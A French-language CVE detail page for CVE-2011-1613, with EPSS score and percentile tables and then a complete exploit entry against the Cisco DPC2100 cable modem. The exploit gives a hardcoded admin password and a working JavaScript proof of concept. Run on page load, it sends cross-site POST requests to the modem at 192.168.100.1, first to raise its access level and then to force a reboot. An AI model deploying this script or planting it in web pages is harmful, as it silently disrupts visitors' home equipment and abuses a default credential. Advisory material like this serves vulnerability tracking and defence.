CVE-2011-1613 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	6.79%	–	–
2022-04-03	–	–	6.79%	–	–
2022-05-22	–	–	6.79%	–	–
2023-03-12	–	–	–	87.94%	–
2023-11-05	–	–	–	85.31%	–
2024-06-02	–	–	–	85.31%	–
2024-08-25	–	–	–	82.08%	–
2024-12-08	–	–	–	82.08%	–
2024-12-22	–	–	–	73%	–
2025-01-19	–	–	–	73%	–
2025-03-18	–	–	–	–	47.66%
2025-03-30	–	–	–	–	41.62%
2025-03-30	–	–	–	–	41.62,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	8%
2022-04-03	91%
2022-05-22	92%
2023-03-12	98%
2023-11-05	98%
2024-06-02	99%
2024-08-25	98%
2024-12-08	99%
2024-12-22	98%
2025-01-19	98%
2025-03-18	97%
2025-03-30	97%
2025-03-30	97%

# Exploit Title: Cisco DPC2100 Denial of Service # Date: 09/01/2010 # Author: Daniel Smith # Software Link: http://www.cisco.com/ # Version: HW:2.1/SW:v2.0.2r1256-060303 # Tested on: OSX 10.6/Win7 # CVE: CVE-2011-1613 ======================================================= Information ======================================================= Executing this script on page load will cause the users modem to restart when they visit the page. This example uses javascript but can just as easily written to in another language to accomplish something similar. Attack consists of two parts. Part 1 - Privilege Escalation: POST: http://192.168.100.1/goform/_aslvl PARAMS: SAAccessLevel=2&SAPassword=W2402 Part 2 - Modem Restart: POST: http://192.168.100.1/goform/gscan PARAMS: SADownStartingFrequency=705000000 ======================================================= Proof of Concept (Javascript) ======================================================= (function() { var b=document.getElementsByTagName('body')[0]; var otherlib=false; if(typeof jQuery!='undefined') { console.log('This page already using jQuery v'+jQuery.fn.jquery); } else if (typeof $=='function') { otherlib=true; } function getScript(url,success){ var script=document.createElement('script'); script.src=url; var head=document.getElementsByTagName('head')[0], done=false; // Attach handlers for all browsers script.onload=script.onreadystatechange = function(){ if ( !done && (!this.readyState || this.readyState == 'loaded' || this.readyState == 'complete') ) { done=true; success(); script.onload = script.onreadystatechange = null; head.removeChild(script); } }; head.appendChild(script); } getScript('http://code.jquery.com/jquery-latest.min.js',function() { if (typeof jQuery=='undefined') { console.log('Sorry, but jQuery wasn\'t able to load'); } else { console.log('This page is now jQuerified with v' + jQuery.fn.jquery); $.post("http://192.168.100.1/goform/_aslvl", { SAAccessLevel: "2", SAPassword: "W2402" } ); console.log('Privilege Escalation: temporarily setting SAAccessLevel to \'2\'.'); $.post("http://192.168.100.1/goform/gscan", { SADownStartingFrequency: "705000000" } ); console.log('Reboot command sent.'); } }); })();